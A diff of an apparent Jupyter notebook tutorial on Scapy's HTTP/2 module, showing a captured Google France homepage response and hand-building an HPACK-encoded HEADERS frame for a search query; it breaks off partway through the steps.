+        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7+/g3+/v5X\n",
+        "/f39mf39/cj9/f3q/f39+f39/fn9/f3q/f39yP39/Zn+/v5W////DAAAAAAAAAAAAAAAAAAAAAAA\n",
+        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7+\n",
+        "/iT9/f2c/f399f/////////////////////////////////////////////////////9/f31/f39\n",
+        "mv7+/iMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
+        "AAAAAP7+/gn9/f2K/f39+///////////////////////////////////////////////////////\n",
+        "/////////////////////f39+v39/Yf///8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
+        "AAAAAAAAAAAAAAAAAAD+/v4k/f390v//////////////////////////////////////////////\n",
+        "//////////////////////////////////////////////////39/dD///8iAAAAAAAAAAAAAAAA\n",
+        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////MP39/er//////////////////////////+r05v+v\n",
+        "16H/gsBs/2WxSf9Wqjj/Vqk3/2OwRv99vWX/pdKV/97u2P////////////////////////////39\n",
+        "/ej+/v4vAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7+/iT9/f3q////////////////////\n",
+        "/+v15/+Pxnv/VKk2/1OoNP9TqDT/U6g0/1OoNP9TqDT/U6g0/1OoNP9TqDT/U6g0/36+Z//d7tf/\n",
+        "//////////////////////39/ej///8iAAAAAAAAAAAAAAAAAAAAAAAAAAD///8K/f390///////\n",
+        "///////////////E4bn/XKw+/1OoNP9TqDT/U6g0/1OoNP9TqDT/U6g0/1OoNP9TqDT/U6g0/1Oo\n",
+        "NP9TqDT/U6g0/1apN/+x0pv///////////////////////39/dD///8IAAAAAAAAAAAAAAAAAAAA\n",
+        "AP39/Yv/////////////////////sdij/1OoNP9TqDT/U6g0/1OoNP9TqDT/U6g0/1OoNP9TqDT/\n",
+        "U6g0/1OoNP9TqDT/U6g0/1OoNP9TqDT/YKU1/8qOPv/5wZ////////////////////////39/YcA\n",
+        "AAAAAAAAAAAAAAD+/v4l/f39+////////////////8Lgt/9TqDT/U6g0/1OoNP9TqDT/U6g0/1Oo\n",
+        "NP9utlT/n86N/7faqv+426v/pdKV/3u8ZP9UqDX/U6g0/3egN//jiUH/9IVC//SFQv/82MP/////\n",
+        "/////////////f39+v7+/iMAAAAAAAAAAP39/Z3////////////////q9Ob/W6w+/1OoNP9TqDT/\n",
+        "U6g0/1OoNP9nskz/zOXC/////////////////////////////////+Dv2v+osWP/8YVC//SFQv/0\n",
+        "hUL/9IVC//WQVP/++fb//////////////////f39mgAAAAD+/v4O/f399v///////////////4LH\n",
+        "j/9TqDT/U6g0/1OoNP9TqDT/dblc//L58P//////////////////////////////////////////\n",
+        "///8+v/3p3f/9IVC//SFQv/0hUL/9IVC//rIqf/////////////////9/f31////DP7+/ln/////\n",
+        "///////////f9v7/Cbz2/zOwhv9TqDT/U6g0/2KwRv/v9+z/////////////////////////////\n",
+        "//////////////////////////738//1kFT/9IVC//SFQv/0hUL/9plg////////////////////\n",
+        "///+/v5W/f39nP///////////////4jf/f8FvPv/Bbz7/yG1s/9QqDz/vN2w////////////////\n",
+        "//////////////////////////////////////////////////rHqP/0hUL/9IVC//SFQv/0hUL/\n",
+        "/vDn//////////////////39/Zn9/f3L////////////////R878/wW8+/8FvPv/Bbz7/y7C5P/7\n",
+        "/fr//////////////////////////////////////////////////////////////////ere//SF\n",
+        "Qv/0hUL/9IVC//SFQv/718H//////////////////f39yP39/ez///////////////8cwvv/Bbz7\n",
+        "/wW8+/8FvPv/WNL8///////////////////////////////////////0hUL/9IVC//SFQv/0hUL/\n",
+        "9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/9IVC//rIqv/////////////////9/f3q/f39+v//////\n",
+        "/////////we9+/8FvPv/Bbz7/wW8+/993P3///////////////////////////////////////SF\n",
+        "Qv/0hUL/9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/+cGf////////////////\n",
+        "//39/fn9/f36////////////////B737/wW8+/8FvPv/Bbz7/33c/f//////////////////////\n",
+        "////////////////9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/9IVC//SFQv/6\n",
+        "xaX//////////////////f39+f39/e3///////////////8cwvv/Bbz7/wW8+/8FvPv/WdP8////\n",
+        "///////////////////////////////////0hUL/9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/9IVC\n",
+        "//SFQv/0hUL/9IVC//vVv//////////////////9/f3q/f39y////////////////0bN/P8FvPv/\n",
+        "Bbz7/wW8+/8hrvn/+/v/////////////////////////////////////////////////////////\n",
+        "//////////////////////////////////////////////////////////39/cj9/f2c////////\n",
+        "////////ht/9/wW8+/8FvPv/FZP1/zRJ6/+zuPf/////////////////////////////////////\n",
+        "////////////////////////////////////////////////////////////////////////////\n",
+        "/f39mf7+/lr////////////////d9v7/B7n7/yB38f81Q+r/NUPq/0hV7P/u8P3/////////////\n",
+        "////////////////////////////////////////////////////////////////////////////\n",
+        "///////////////////+/v5X////D/39/ff///////////////9tkPT/NUPq/zVD6v81Q+r/NUPq\n",
+        "/2Fs7//y8v7////////////////////////////////////////////09f7/////////////////\n",
+        "/////////////////////////////////f399f7+/g0AAAAA/f39n////////////////+Tm/P89\n",
+        "Suv/NUPq/zVD6v81Q+r/NUPq/1Bc7f/IzPn/////////////////////////////////x8v5/0xY\n",
+        "7P+MlPP////////////////////////////////////////////9/f2cAAAAAAAAAAD+/v4n/f39\n",
+        "/P///////////////7W69/81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v9ZZe7/k5v0/6609/+vtff/\n",
+        "lJv0/1pm7v81Q+r/NUPq/zVD6v+GjvL//v7//////////////////////////////f39+/7+/iQA\n",
+        "AAAAAAAAAAAAAAD9/f2N/////////////////////6Cn9f81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD\n",
+        "6v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v+BivL/////////////////////\n",
+        "///////9/f2KAAAAAAAAAAAAAAAAAAAAAP7+/gv9/f3V/////////////////////7W69/8+S+v/\n",
+        "NUPq/zVD6v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v81Q+r/P0zr/7q/+P//\n",
+        "/////////////////////f390v7+/gkAAAAAAAAAAAAAAAAAAAAAAAAAAP7+/ib9/f3r////////\n",
+        "/////////////+Xn/P94gfH/NkTq/zVD6v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v81Q+r/NkTq\n",
+        "/3Z/8f/l5/z///////////////////////39/er+/v4kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
+        "AAAAAP7+/jL9/f3r///////////////////////////k5vz/nqX1/2p08P9IVez/OEbq/zdF6v9G\n",
+        "U+z/aHLv/5qh9f/i5Pz////////////////////////////9/f3q////MAAAAAAAAAAAAAAAAAAA\n",
+        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7+/ib9/f3V////////////////////////////////////\n",
+        "/////////////////////////////////////////////////////////////f390v7+/iQAAAAA\n",
+        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wr9/f2N/f39/P//////\n",
+        "/////////////////////////////////////////////////////////////////////f39+/39\n",
+        "/Yv+/v4JAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
+        "AAAAAAD+/v4n/f39n/39/ff/////////////////////////////////////////////////////\n",
+        "/f399v39/Z3+/v4lAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
+        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v7+Dv7+/lr9/f2c/f39y/39/e39/f36/f39+v39\n",
+        "/ez9/f3L/f39nP7+/ln+/v4OAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
+        "AP/AA///AAD//AAAP/gAAB/wAAAP4AAAB8AAAAPAAAADgAAAAYAAAAEAAAAAAAAAAAAAAAAAAAAA\n",
+        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAABgAAAAcAAAAPAAAAD4AAAB/AAAA/4\n",
+        "AAAf/AAAP/8AAP//wAP/\n",
+        "\" />"
+       ],
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 117,
+       "text": [
+        "<IPython.core.display.HTML at 0x7f26f59bfc10>"
+       ]
+      }
+     ],
+     "prompt_number": 117
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Let's now read the frontpage response."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "print(stream_txt[1])"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        ":status 200\n",
+        "date: Tue, 13 Dec 2016 17:34:51 GMT\n",
+        "expires: -1\n",
+        "cache-control: private, max-age=0\n",
+        "content-type: text/html; charset=ISO-8859-1\n",
+        "p3p: CP=\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\"\n",
+        "content-encoding: gzip\n",
+        "server: gws\n",
+        "content-length: 4420\n",
+        "x-xss-protection: 1; mode=block\n",
+        "x-frame-options: SAMEORIGIN\n",
+        "set-cookie: NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly\n",
+        "alt-svc: quic=\":443\"; ma=2592000; v=\"35,34\"\n"
+       ]
+      }
+     ],
+     "prompt_number": 118
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "So, we received a status code 200, which means that we received a page. Let's \"visualize it\"."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "data = ''\n",
+      "for frgmt in stream_data[1]:\n",
+      "    data += frgmt.payload.data\n",
+      "\n",
+      "HTML(zlib.decompress(data, 16+zlib.MAX_WBITS).decode('UTF-8', 'ignore'))"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "html": [
+        "<!doctype html><html itemscope=\"\" itemtype=\"http://schema.org/WebPage\" lang=\"fr\"><head><meta content=\"text/html; charset=UTF-8\" http-equiv=\"Content-Type\"><meta content=\"/images/branding/googleg/1x/googleg_standard_color_128dp.png\" itemprop=\"image\"><title>Google</title><script>(function(){window.google={kEI:'OzFQWJ_-L4OZaPm9ntgO',kEXPI:'750721,1351903,3700243,4029815,4032677,4038012,4041899,4043492,4045841,4048347,4055745,4062666,4065787,4067860,4068550,4069838,4069841,4072602,4072775,4073405,4073728,4073959,4074597,4074955,4076095,4076931,4076999,4078438,4078456,4078764,4079106,4079442,4079626,4079894,4079954,4080167,4081037,4081039,4082056,4082165,4082217,4082619,4083476,4084298,4084343,4084956,4085057,4085627,4086011,4086290,4086863,4087718,4087977,4088429,4088436,4088448,4088643,4089003,4089106,4089337,4089346,4089481,4089538,4089696,4089741,4089749,4090086,4090352,4090401,4090445,4090806,8300096,8300272,8300478,8506615,8507381,8507419,8507858,8507899,8508059,8508065,8508590,8508957,8509066,8509243,10200083,13500022',authuser:0,kscs:'c9c918f0_24'};google.kHL='fr';})();(function(){google.lc=[];google.li=0;google.getEI=function(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute(\"eid\")));)a=a.parentNode;return b||google.kEI};google.getLEI=function(a){for(var b=null;a&&(!a.getAttribute||!(b=a.getAttribute(\"leid\")));)a=a.parentNode;return b};google.https=function(){return\"https:\"==window.location.protocol};google.ml=function(){return null};google.wl=function(a,b){try{google.ml(Error(a),!1,b)}catch(c){}};google.time=function(){return(new Date).getTime()};google.log=function(a,b,c,d,g){a=google.logUrl(a,b,c,d,g);if(\"\"!=a){b=new Image;var e=google.lc,f=google.li;e[f]=b;b.onerror=b.onload=b.onabort=function(){delete e[f]};window.google&&window.google.vel&&window.google.vel.lu&&window.google.vel.lu(a);b.src=a;google.li=f+1}};google.logUrl=function(a,b,c,d,g){var e=\"\",f=google.ls||\"\";c||-1!=b.search(\"&ei=\")||(e=\"&ei=\"+google.getEI(d),-1==b.search(\"&lei=\")&&(d=google.getLEI(d))&&(e+=\"&lei=\"+d));a=c||\"/\"+(g||\"gen_204\")+\"?atyp=i&ct=\"+a+\"&cad=\"+b+e+f+\"&zx=\"+google.time();/^http:/i.test(a)&&google.https()&&(google.ml(Error(\"a\"),!1,{src:a,glmm:1}),a=\"\");return a};google.y={};google.x=function(a,b){google.y[a.id]=[a,b];return!1};google.lq=[];google.load=function(a,b,c){google.lq.push([[a],b,c])};google.loadAll=function(a,b){google.lq.push([a,b])};}).call(this);var a=window.location,b=a.href.indexOf(\"#\");if(0<=b){var c=a.href.substring(b+1);/(^|&)q=/.test(c)&&-1==c.indexOf(\"#\")&&a.replace(\"/search?\"+c.replace(/(^|&)fp=[^&]*/g,\"\")+\"&cad=h\")};</script><style>#gbar,#guser{font-size:13px;padding-top:1px !important;}#gbar{height:22px}#guser{padding-bottom:7px !important;text-align:right}.gbh,.gbd{border-top:1px solid #c9d7f1;font-size:1px}.gbh{height:0;position:absolute;top:24px;width:100%}@media all{.gb1{height:22px;margin-right:.5em;vertical-align:top}#gbar{float:left}}a.gb1,a.gb4{text-decoration:underline !important}a.gb1,a.gb4{color:#00c !important}.gbi .gb4{color:#dd8e27 !important}.gbf .gb4{color:#900 !important}\n",
+        "</style><style>body,td,a,p,.h{font-family:arial,sans-serif}body{margin:0;overflow-y:scroll}#gog{padding:3px 8px 0}td{line-height:.8em}.gac_m td{line-height:17px}form{margin-bottom:20px}.h{color:#36c}.q{color:#00c}.ts td{padding:0}.ts{border-collapse:collapse}em{font-weight:bold;font-style:normal}.lst{height:25px;width:496px}.gsfi,.lst{font:18px arial,sans-serif}.gsfs{font:17px arial,sans-serif}.ds{display:inline-box;display:inline-block;margin:3px 0 4px;margin-left:4px}input{font-family:inherit}a.gb1,a.gb2,a.gb3,a.gb4{color:#11c !important}body{background:#fff;color:black}a{color:#11c;text-decoration:none}a:hover,a:active{text-decoration:underline}.fl a{color:#36c}a:visited{color:#551a8b}a.gb1,a.gb4{text-decoration:underline}a.gb3:hover{text-decoration:none}#ghead a.gb2:hover{color:#fff !important}.sblc{padding-top:5px}.sblc a{display:block;margin:2px 0;margin-left:13px;font-size:11px}.lsbb{background:#eee;border:solid 1px;border-color:#ccc #999 #999 #ccc;height:30px}.lsbb{display:block}.ftl,#fll a{display:inline-block;margin:0 12px}.lsb{background:url(/images/nav_logo229.png) 0 -261px repeat-x;border:none;color:#000;cursor:pointer;height:30px;margin:0;outline:0;font:15px arial,sans-serif;vertical-align:top}.lsb:active{background:#ccc}.lst:focus{outline:none}</style><script></script><link href=\"/images/branding/product/ico/googleg_lodp.ico\" rel=\"shortcut icon\"></head><body bgcolor=\"#fff\"><script>(function(){var src='/images/nav_logo229.png';var iesg=false;document.body.onload = function(){window.n && window.n();if (document.images){new Image().src=src;}\n",
+        "if (!iesg){document.f&&document.f.q.focus();document.gbqf&&document.gbqf.q.focus();}\n",
+        "}\n",
+        "})();</script><div id=\"mngb\"> <div id=gbar><nobr><b class=gb1>Recherche</b> <a class=gb1 href=\"https://www.google.fr/imghp?hl=fr&tab=wi\">Images</a> <a class=gb1 href=\"https://maps.google.fr/maps?hl=fr&tab=wl\">Maps</a> <a class=gb1 href=\"https://play.google.com/?hl=fr&tab=w8\">Play</a> <a class=gb1 href=\"https://www.youtube.com/?gl=FR&tab=w1\">YouTube</a> <a class=gb1 href=\"https://news.google.fr/nwshp?hl=fr&tab=wn\">Actualits</a> <a class=gb1 href=\"https://mail.google.com/mail/?tab=wm\">Gmail</a> <a class=gb1 href=\"https://drive.google.com/?tab=wo\">Drive</a> <a class=gb1 style=\"text-decoration:none\" href=\"https://www.google.fr/intl/fr/options/\"><u>Plus</u> &raquo;</a></nobr></div><div id=guser width=100%><nobr><span id=gbn class=gbi></span><span id=gbf class=gbf></span><span id=gbe></span><a href=\"http://www.google.fr/history/optout?hl=fr\" class=gb4>Historique Web</a> | <a  href=\"/preferences?hl=fr\" class=gb4>Paramtres</a> | <a target=_top id=gb_70 href=\"https://accounts.google.com/ServiceLogin?hl=fr&passive=true&continue=https://www.google.fr/\" class=gb4>Connexion</a></nobr></div><div class=gbh style=left:0></div><div class=gbh style=right:0></div> </div><center><br clear=\"all\" id=\"lgpd\"><div id=\"lga\"><div style=\"padding:28px 0 3px\"><div style=\"height:110px;width:276px;background:url(/images/branding/googlelogo/1x/googlelogo_white_background_color_272x92dp.png) no-repeat\" title=\"Google\" align=\"left\" id=\"hplogo\" onload=\"window.lol&&lol()\"><div style=\"color:#777;font-size:16px;font-weight:bold;position:relative;top:70px;left:218px\" nowrap=\"\">France</div></div></div><br></div><form action=\"/search\" name=\"f\"><table cellpadding=\"0\" cellspacing=\"0\"><tr valign=\"top\"><td width=\"25%\">&nbsp;</td><td align=\"center\" nowrap=\"\"><input name=\"ie\" value=\"ISO-8859-1\" type=\"hidden\"><input value=\"fr\" name=\"hl\" type=\"hidden\"><input name=\"source\" type=\"hidden\" value=\"hp\"><input name=\"biw\" type=\"hidden\"><input name=\"bih\" type=\"hidden\"><div class=\"ds\" style=\"height:32px;margin:4px 0\"><input style=\"color:#000;margin:0;padding:5px 8px 0 6px;vertical-align:top\" autocomplete=\"off\" class=\"lst\" value=\"\" title=\"Recherche Google\" maxlength=\"2048\" name=\"q\" size=\"57\"></div><br style=\"line-height:0\"><span class=\"ds\"><span class=\"lsbb\"><input class=\"lsb\" value=\"Recherche Google\" name=\"btnG\" type=\"submit\"></span></span><span class=\"ds\"><span class=\"lsbb\"><input class=\"lsb\" value=\"J'ai de la chance\" name=\"btnI\" onclick=\"if(this.form.q.value)this.checked=1; else top.location='/doodles/'\" type=\"submit\"></span></span></td><td class=\"fl sblc\" align=\"left\" nowrap=\"\" width=\"25%\"><a href=\"/advanced_search?hl=fr&amp;authuser=0\">Recherche avance</a><a href=\"/language_tools?hl=fr&amp;authuser=0\">Outils linguistiques</a></td></tr></table><input id=\"gbv\" name=\"gbv\" type=\"hidden\" value=\"1\"></form><div id=\"gac_scont\"></div><div style=\"font-size:83%;min-height:3.5em\"><br></div><span id=\"footer\"><div style=\"font-size:10pt\"><div style=\"margin:19px auto;text-align:center\" id=\"fll\"><a href=\"/intl/fr/ads/\">Solutions publicitaires</a><a href=\"/services/\">Solutions d'entreprise</a><a href=\"https://plus.google.com/106901486880272202822\" rel=\"publisher\">+Google</a><a href=\"/intl/fr/about.html\"> propos de Google</a><a href=\"https://www.google.fr/setprefdomain?prefdom=US&amp;sig=__OHnMTECkk1MGvXSKgG4G1AmHq5I%3D\" id=\"fehl\">Google.com</a></div></div><p style=\"color:#767676;font-size:8pt\">&copy; 2016 - <a href=\"/intl/fr/policies/privacy/\">Confidentialit</a> - <a href=\"/intl/fr/policies/terms/\">Conditions</a></p></span></center><script>(function(){window.google.cdo={height:0,width:0};(function(){var a=window.innerWidth,b=window.innerHeight;if(!a||!b)var c=window.document,d=\"CSS1Compat\"==c.compatMode?c.documentElement:c.body,a=d.clientWidth,b=d.clientHeight;a&&b&&(a!=google.cdo.width||b!=google.cdo.height)&&google.log(\"\",\"\",\"/client_204?&atyp=i&biw=\"+a+\"&bih=\"+b+\"&ei=\"+google.kEI);}).call(this);})();</script><div id=\"xjsd\"></div><div id=\"xjsi\"><script>(function(){function c(b){window.setTimeout(function(){var a=document.createElement(\"script\");a.src=b;document.getElementById(\"xjsd\").appendChild(a)},0)}google.dljp=function(b,a){google.xjsu=b;c(a)};google.dlj=c;}).call(this);(function(){window.google.xjsrm=[];})();if(google.y)google.y.first=[];if(!google.xjs){window._=window._||{};window._._DumpException=function(e){throw e};if(google.timers&&google.timers.load.t){google.timers.load.t.xjsls=new Date().getTime();}google.dljp('/xjs/_/js/k\\x3dxjs.hp.en_US.WN3XpSz-BG8.O/m\\x3dsb_he,d/rt\\x3dj/d\\x3d1/t\\x3dzcms/rs\\x3dACT90oGvdHa7TL2W_IQX1s5BPxYIHeUvhQ','/xjs/_/js/k\\x3dxjs.hp.en_US.WN3XpSz-BG8.O/m\\x3dsb_he,d/rt\\x3dj/d\\x3d1/t\\x3dzcms/rs\\x3dACT90oGvdHa7TL2W_IQX1s5BPxYIHeUvhQ');google.xjs=1;}google.pmc={\"sb_he\":{\"agen\":true,\"cgen\":true,\"client\":\"heirloom-hp\",\"dh\":true,\"dhqt\":true,\"ds\":\"\",\"fl\":true,\"host\":\"google.fr\",\"isbh\":28,\"jam\":0,\"jsonp\":true,\"lm\":true,\"msgs\":{\"cibl\":\"Effacer la recherche\",\"dym\":\"Essayez avec cette orthographe :\",\"lcky\":\"J\\u0026#39;ai de la chance\",\"lml\":\"En savoir plus\",\"oskt\":\"Outils de saisie\",\"psrc\":\"Cette suggestion a bien t supprime de votre \\u003Ca href=\\\"/history\\\"\\u003Ehistorique Web\\u003C/a\\u003E.\",\"psrl\":\"Supprimer\",\"sbit\":\"Recherche par image\",\"srch\":\"Recherche Google\"},\"nds\":true,\"ovr\":{},\"pq\":\"\",\"refpd\":true,\"rfs\":[],\"scd\":10,\"sce\":5,\"stok\":\"v9hn9ENPV2Cq1VDAu6ud56TzkyQ\"},\"d\":{}};google.y.first.push(function(){if(google.med){google.med('init');google.initHistory();google.med('history');}});if(google.j&&google.j.en&&google.j.xi){window.setTimeout(google.j.xi,0);}\n",
+        "</script></div></body></html>"
+       ],
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 119,
+       "text": [
+        "<IPython.core.display.HTML at 0x7f26f59bf590>"
+       ]
+      }
+     ],
+     "prompt_number": 119
+    },
+    {
+     "cell_type": "heading",
+     "level": 2,
+     "metadata": {},
+     "source": [
+      "Throwing a query!"
+     ]
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Let's now query Google! For this, we will build a new query without the helpers, to explore the low-level parts of the HTTP/2 Scapy module.\n",
+      "First, we will get the cookie that we were given. For this, we will search for the set-cookie header that we received."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "from io import BytesIO\n",
+      "sio = BytesIO(stream_txt[1])\n",
+      "cookie = [val[len('set-cookie: '):].strip() for val in sio if val.startswith('set-cookie: ')]\n",
+      "print(cookie)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "['NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly']\n"
+       ]
+      }
+     ],
+     "prompt_number": 120
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Now, we build the query by hand. Let's create the Header frame, so that we can later stuff all the header \"lines\" in it. This is a new stream, and we already used the stream ids 1 and 3, so we will use the stream id 5, which is the next available. We will set the \"End Stream\" and \"End Headers\" flags. The End Stream flag means that they are no more frames (except header frames...) after this one in this stream. The End Headers flag means that there are no Continuation frames after this frame. Continuation frames can be used to add more headers than one could fit in previous H2HeaderFrame and Continuation frames...\n",
+      "\n",
+      "Our frame will contain little headers and we set very large limits for this tutorial, so we will skip all the checks, but they should be done! The helpers does them, by the way."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "hdrs_frm = h2.H2Frame(flags={'ES', 'EH'}, stream_id=5)/h2.H2HeadersFrame()"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 121
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Then, we have to specify the pseudo headers. These headers are the equivalent of \"GET / HTTP/1.1\\nHost: www.google.fr\" of old.\n",
+      "For this, we specify that this is a GET query over HTTPS, along with the path, and the \"authority\", which is the new \"Host:\".The GET Method and the HTTPS scheme are part of the static HPack table, according to RFC7541. Let's get the index of these headers and put them into HPackIndexedHdr packets."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "get_hdr_idx = tblhdr.get_idx_by_name_and_value(':method', 'GET')\n",
+      "get_hdr = h2.HPackIndexedHdr(index = get_hdr_idx)\n",
+      "get_hdr.show()\n",
+      "hdrs_frm.payload.hdrs.append(get_hdr)\n",
+      "\n",
+      "https_hdr_idx = tblhdr.get_idx_by_name_and_value(':scheme', 'https')\n",
+      "https_hdr = h2.HPackIndexedHdr(index = https_hdr_idx)\n",
+      "https_hdr.show()\n",
+      "hdrs_frm.payload.hdrs.append(https_hdr)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HPack Indexed Header Field ]### \n",
+        "  magic     = 1\n",
+        "  index     = 2\n",
+        "\n",
+        "###[ HPack Indexed Header Field ]### \n",
+        "  magic     = 1\n",
+        "  index     = 7\n",
+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 122
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "For the path, we will use \"/search?q=scapy\". The path might be a sensitive value, since it may contain values that we might not want to leak via side-channel attacks (here the query topic). For this reason, we will specify the path using a HPackLitHdrFldWithoutIndexing, which means that we don't want indexing. We also need to set the never_index bit, so that if there are intermediaries between us and the HTTP server, they will not try to compress this header.\n",
+      "Before setting this header, though, we have to choose whether we want to compress the *string* \"/search?q=scapy\" using Huffman encoding. Let's compress it and compare its wire-length with the uncompressed version."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "z_str = h2.HPackZString('/search?q=scapy')\n",
+      "unz_str = h2.HPackLiteralString('/search?q=scapy')\n",
+      "\n",
+      "print(len(str(z_str)), len(str(unz_str)))"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "(12, 15)\n"
+       ]
+      }
+     ],
+     "prompt_number": 123
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "So the compressed version is smaller. Let's use it, since HTTP/2 is all about performances and compression. \n",
+      "\n",
+      "\":path\" is the pseudo-header to define the query path. While we don't want to compress the *value* of the query path, the name can be compressed. As it happens, the \":path\" header name is in the static header table. For this reason, we will search of its index, and then build the header."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "path_hdr_idx = tblhdr.get_idx_by_name(':path')\n",
+      "path_str = h2.HPackHdrString(data = z_str)\n",
+      "path_hdr = h2.HPackLitHdrFldWithoutIndexing(\n",
+      "    never_index=1, \n",
+      "    index=path_hdr_idx,\n",
+      "    hdr_value=path_str\n",
+      ")\n",
+      "path_hdr.show()\n",
+      "hdrs_frm.payload.hdrs.append(path_hdr)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n",
+        "  magic     = 0\n",
+        "  never_index= Never Index\n",
+        "  index     = 4\n",
+        "  \\hdr_value \\\n",
+        "   |###[ HPack Header String ]### \n",
+        "   |  type      = None\n",
+        "   |  len       = None\n",
+        "   |  data      = 'HPackZString(/search?q=scapy)'\n",
+        "\n"
+       ]
+      }
+     ],
+     "prompt_number": 124
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "The final missing pseudo-header is the new \"Host\" header, called \":authority\". \":authority\" is in the static header table, so we *could* use it. As it happens, we can do better because we previously indexed \":authority\" *with the value* \"www.google.fr\". Let's search for the index of this entry in the dynamic table. With luck, the server header table size is large enough so that the value is still inside it."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "host_hdr_idx = tblhdr.get_idx_by_name_and_value(':authority', dn)\n",
+      "assert(not isinstance(host_hdr_idx, type(None)))\n",
+      "print(host_hdr_idx)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "66\n"
+       ]
+      }
+     ],
+     "prompt_number": 125
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "So, the \":authority www.google.fr\" header is still in the dynamic table. Let's add it to the header list."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "host_hdr = h2.HPackIndexedHdr(index=host_hdr_idx)\n",
+      "host_hdr.show()\n",
+      "hdrs_frm.payload.hdrs.append(host_hdr)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "###[ HPack Indexed Header Field ]### \n",
+        "  magic     = 1\n",
+        "  index     = 66\n",
